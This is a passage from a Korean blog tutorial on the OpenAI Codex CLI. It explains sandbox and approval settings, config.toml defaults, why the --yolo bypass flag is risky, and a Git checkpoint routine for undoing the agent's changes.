# 읽기 전용으로 탐색만 할 때
codex --sandbox read-only

# 스크립트나 CI처럼 비대화형 실행이 필요할 때
codex exec &quot;run the tests and summarize failures&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 주의할 점이 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex exec&lt;/code&gt;는 비대화형으로 실행하는 방식이지, 그 자체가 안전 모드는 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동화가 필요하면 제한된 샌드박스, 깨끗한 Git 상태, 임시 실행 환경, 필요한 네트워크 권한을 함께 설계해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;자주 쓰는 조합은 별칭(alias)으로 줄여도 된다.&lt;/b&gt;&lt;br /&gt;옵션이 길어서 매번 입력하기 번거롭다면 본인이 기억하기 쉬운 짧은 명령어를 만들어둘 수 있다. 예를 들어 나는 Codex를 자주 쓰는 기본 조합으로 실행하기 위해 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;cdd&lt;/code&gt; 같은 별칭을 만들어 사용한다. &lt;br /&gt;macOS나 Linux의 zsh/bash라면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.zshrc&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.bashrc&lt;/code&gt;에 아래처럼 적어둘 수 있다.&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;alias cdd='codex --sandbox workspace-write --ask-for-approval on-request'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 별칭은 편의 기능일 뿐이다. 별칭 이름만 보고 어떤 권한으로 실행되는지 잊어버리면 오히려 위험해질 수 있다. 처음 만들 때는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;alias cdd&lt;/code&gt;로 실제 실행 명령을 확인하고, 권한을 넓힌 별칭에는 더 노골적인 이름을 붙이는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) cdd&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lD7qb/dJMcag6t4Ir/rywrJgkkadfuYnC2SqTJdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lD7qb/dJMcag6t4Ir/rywrJgkkadfuYnC2SqTJdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lD7qb/dJMcag6t4Ir/rywrJgkkadfuYnC2SqTJdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlD7qb%2FdJMcag6t4Ir%2FrywrJgkkadfuYnC2SqTJdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;528&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 yolo는 빠른 모드가 아니라 우회 모드다&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;위험 옵션은 의미를 알고 써야 한다.&lt;/b&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 CLI reference(옵션 목록)&lt;/a&gt;는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--dangerously-bypass-approvals-and-sandbox&lt;/code&gt;와 별칭 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;를 승인 프롬프트와 샌드박스를 모두 건너뛰는 옵션으로 설명한다. &lt;br /&gt;즉, 단순히 &quot;빠르게 실행&quot;하는 모드가 아니라 &lt;b&gt;로컬 파일, 네트워크, 패키지 설치 스크립트, 환경변수나 토큰이 노출될 수 있는 경계&lt;/b&gt;까지 함께 넓히는 선택이다. &lt;br /&gt;기술적으로는 사용자가 위험을 이해하고 감수한다면 쓸 수 있다. 다만 그 경우에도 평소 쓰는 로컬 프로젝트 폴더가 아니라 사용 후 버리는 가상 머신(disposable VM), 임시 컨테이너, 제한된 자동화 실행 환경(CI runner)처럼 외부에서 격리된 환경을 먼저 준비하는 편이 맞다. 입문 단계에서는 이름과 의미를 알아두되, 예제 명령어처럼 따라 치는 옵션으로 소개하지 않는다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;never&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;yolo&lt;/code&gt;를 혼동하지 말자.&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;never&quot;&lt;/code&gt;는 승인 질문을 하지 않겠다는 뜻이다. 샌드박스 설정은 별도로 남아 있을 수 있다. &lt;br /&gt;반면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;는 승인과 샌드박스를 함께 우회한다. 이 차이를 모르면 &quot;승인만 줄이려던 설정&quot;이 &quot;보호장치 전체 해제&quot;로 바뀔 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.5 영구 설정&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kLZPO/dJMcabqAMzl/M8f6szFW6GAyVSC9k2ehkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kLZPO/dJMcabqAMzl/M8f6szFW6GAyVSC9k2ehkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kLZPO/dJMcabqAMzl/M8f6szFW6GAyVSC9k2ehkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkLZPO%2FdJMcabqAMzl%2FM8f6szFW6GAyVSC9k2ehkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2156&quot; height=&quot;1168&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;매번 플래그를 입력하기 번거롭다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;에 기본값을 설정한다. 이 파일은 Codex의 기본 동작을 적어두는 설정 파일이다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;sandbox_mode = &quot;workspace-write&quot;
approval_policy = &quot;on-request&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 설정 문서&lt;/a&gt; 기준으로 개인 기본값은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;에 두고, 특정 프로젝트 전용 설정은 저장소 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;에 둔다. 우선순위는 CLI 플래그와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--config&lt;/code&gt;, 프로필, 프로젝트 설정, 사용자 설정, Unix의 시스템 설정(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/etc/codex/config.toml&lt;/code&gt;), 내장 기본값 순서다. 프로젝트 설정은 신뢰한 프로젝트에서만 적용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;on-request&quot;&lt;/code&gt; 조합을 기본값으로 두는 편이 안전하다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions&lt;/code&gt;는 샌드박스와 승인 정책 자체가 아니라, 재사용할 권한 프로필 이름을 고르는 설정으로 이해하면 된다. 신뢰하지 않는 프로젝트에서는 프로젝트 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;을 무조건 믿지 말고 먼저 내용을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에 따르면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_workspace_write.writable_roots&lt;/code&gt;로 쓰기를 허용할 폴더 범위도 지정할 수 있다. 쉽게 말해 &quot;Codex가 이 폴더 안에서는 파일을 수정해도 된다&quot;라고 선을 그어두는 설정이다. 실행할 때만 임시로 추가 폴더를 허용하고 싶다면 CLI reference의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--add-dir&lt;/code&gt; 플래그를 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.6 플랫폼별 샌드박스 구현&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDq6oT/dJMb997mdKH/VKamwgv9HVQyfGvYyGKCtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDq6oT/dJMb997mdKH/VKamwgv9HVQyfGvYyGKCtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDq6oT/dJMb997mdKH/VKamwgv9HVQyfGvYyGKCtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDq6oT%2FdJMb997mdKH%2FVKamwgv9HVQyfGvYyGKCtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2140&quot; height=&quot;1158&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;macOS는 내장 Seatbelt 프레임워크를 사용한다.&amp;nbsp; Seatbelt는 앱의 접근 범위를 제한하는 macOS의 보안 장치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux나 WSL2에서는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;bubblewrap(bwrap)&lt;/code&gt;&lt;/a&gt; 기반 격리를 사용한다. 환경에 따라 설치 상태나 보안 설정이 달라질 수 있으므로, 샌드박스 오류가 나면 공식 sandboxing 문서의 Linux/WSL2 안내를 함께 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;입문자를 위한 권장 접근법&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/learn/best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 best practices(모범 사례)&lt;/a&gt;는 처음엔 기본 설정(workspace-write + on-request)으로 시작하고, 특정 저장소에서의 필요가 분명해진 뒤에만 권한을 넓히도록 권장한다. 나도 이 방식이 가장 무난하다고 본다. 처음부터 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--yolo&lt;/code&gt;로 시작하면 의도치 않은 파일 삭제나 네트워크 요청이 발생할 수 있다.&lt;br /&gt;&lt;br /&gt;Codex 공식 UseCase 번역글도 참고&lt;br /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/573&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex 공식 유즈케이스 12가지 살펴보기 : Codex로 뭘 할 수 있나? 공식 12가지 사례 한국어 정리&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 안전하게 쓰기 &amp;mdash; Git checkpoint 패턴&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex CLI는 코드베이스, 즉 프로젝트 전체 코드를 실제로 수정한다. 그래서 강력하지만 동시에 조심해야 한다. 공식 문서도 이 점을 명확히 언급한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&quot;Codex can modify your codebase, so consider creating Git checkpoints before and after each task so you can easily revert changes if needed.&quot;&lt;br /&gt;&amp;mdash; &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/quickstart&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 quickstart&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;번역&lt;/b&gt;: Codex는 내 코드베이스를 수정할 수 있으므로, 필요할 때 쉽게 되돌릴 수 있도록 각 작업 전후에 &lt;span style=&quot;color: #ee2323;&quot;&gt;Git 체크포인트를 만들어 두는 것이 좋다&lt;/span&gt;는 뜻이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뜻은 간단하다. Codex에게 작업을 맡기기 전에 현재 상태를 Git에 저장해두면, 결과가 마음에 들지 않을 때 되돌릴 수 있다. Git은 코드 변경 이력을 저장하는 도구이고, checkpoint는 &quot;지금 상태를 저장해두는 지점&quot;이라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실전 Git checkpoint 패턴&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djoa8a/dJMcac33v8I/JfOR5cPSN8fTtkeLZKnunK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djoa8a/dJMcac33v8I/JfOR5cPSN8fTtkeLZKnunK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djoa8a/dJMcac33v8I/JfOR5cPSN8fTtkeLZKnunK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdjoa8a%2FdJMcac33v8I%2FJfOR5cPSN8fTtkeLZKnunK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2152&quot; height=&quot;1150&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;pgsql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 작업 시작 전 checkpoint 생성
git status
git add -A &amp;amp;&amp;amp; git commit -m &quot;checkpoint: before codex task - [작업 내용 간략 설명]&quot;

# Codex 작업 실행
codex

# 작업 결과 확인 후, 만족스러우면 다시 커밋
git diff
git add -A &amp;amp;&amp;amp; git commit -m &quot;feat: [작업 완료 내용]&quot;

# 이미 커밋한 Codex 결과를 취소하고 싶을 때
git log --oneline -5
git revert &amp;lt;codex_result_commit_sha&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: 공식 문서는 checkpoint를 만들라고 권장하지만, 어떤 Git 명령으로 되돌릴지는 상황에 따라 다르다. 초심자에게는 보통 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git revert&lt;/code&gt;가 더 안전하다. 이전 이력을 지우지 않고 &quot;되돌리는 새 커밋&quot;을 만들기 때문이다. 작업 이력을 지우는 reset 계열 명령은 저장하지 않은 변경을 즉시 삭제할 수 있으므로, Git에 익숙하지 않다면 이 글의 예제로 따라 하지 않는다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 단순히 &quot;커밋을 자주 하라&quot;는 말이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 에이전트가 여러 파일을 한 번에 수정하면, 나중에 어느 변경이 문제였는지 찾기 어려워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 단위로 checkpoint를 남겨두면 디버깅도 쉽고, 결과가 별로일 때 되돌리기도 훨씬 편하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 정리 + Part 3 예고 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 정리 + Part 2 예고&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 편에서 다룬 내용을 정리하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;설치&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; (npm) 또는 Homebrew로 시작. Homebrew 명령은 공식 quickstart와 GitHub README 표기가 다를 수 있으니 설치 직전 최신 문서를 확인&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인증&lt;/b&gt;: 직접 개발할 때는 ChatGPT 계정이 편하고, 자동 실행에는 API 키가 어울림. 단, 플랜별 사용량과 클라우드 기능 지원 범위는 다름&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시작&lt;/b&gt;: 목표, 맥락, 제약, 완료 기준을 넣고 프로젝트 설명 요청 &amp;rarr; 작은 기능 구현 &amp;rarr; 버그 수정 순으로 난이도를 높임&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권한과 승인 모드&lt;/b&gt;: 처음에는 workspace-write + on-request로 시작하고, yolo는 위험을 이해하고 감수할 때 격리 환경에서만 검토&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Git checkpoint&lt;/b&gt;: 작업 전후 커밋으로 되돌릴 수 있는 안전망을 만들어 둠&lt;/li&gt;
&lt;li&gt;&lt;b&gt;계정 관리&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex login status&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex logout&lt;/code&gt;으로 현재 인증 상태를 확인하고 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 CLI 플래그 빠른 참조&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bed0W5/dJMcaaZt92F/niAC8NQfs6rl0AjdxfvZe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bed0W5/dJMcaaZt92F/niAC8NQfs6rl0AjdxfvZe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bed0W5/dJMcaaZt92F/niAC8NQfs6rl0AjdxfvZe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbed0W5%2FdJMcaaZt92F%2FniAC8NQfs6rl0AjdxfvZe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2112&quot; height=&quot;1148&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex --help&lt;/code&gt;를 실행하면 전체 옵션 목록을 확인할 수 있다. 옵션이 너무 많아 보일 수 있지만, 처음에는 아래 주요 항목만 알아도 충분하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;축약&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-s&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex가 접근할 수 있는 파일 범위 선택 (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt; / &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--ask-for-approval&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;-a&lt;/code&gt;&lt;/td&gt;
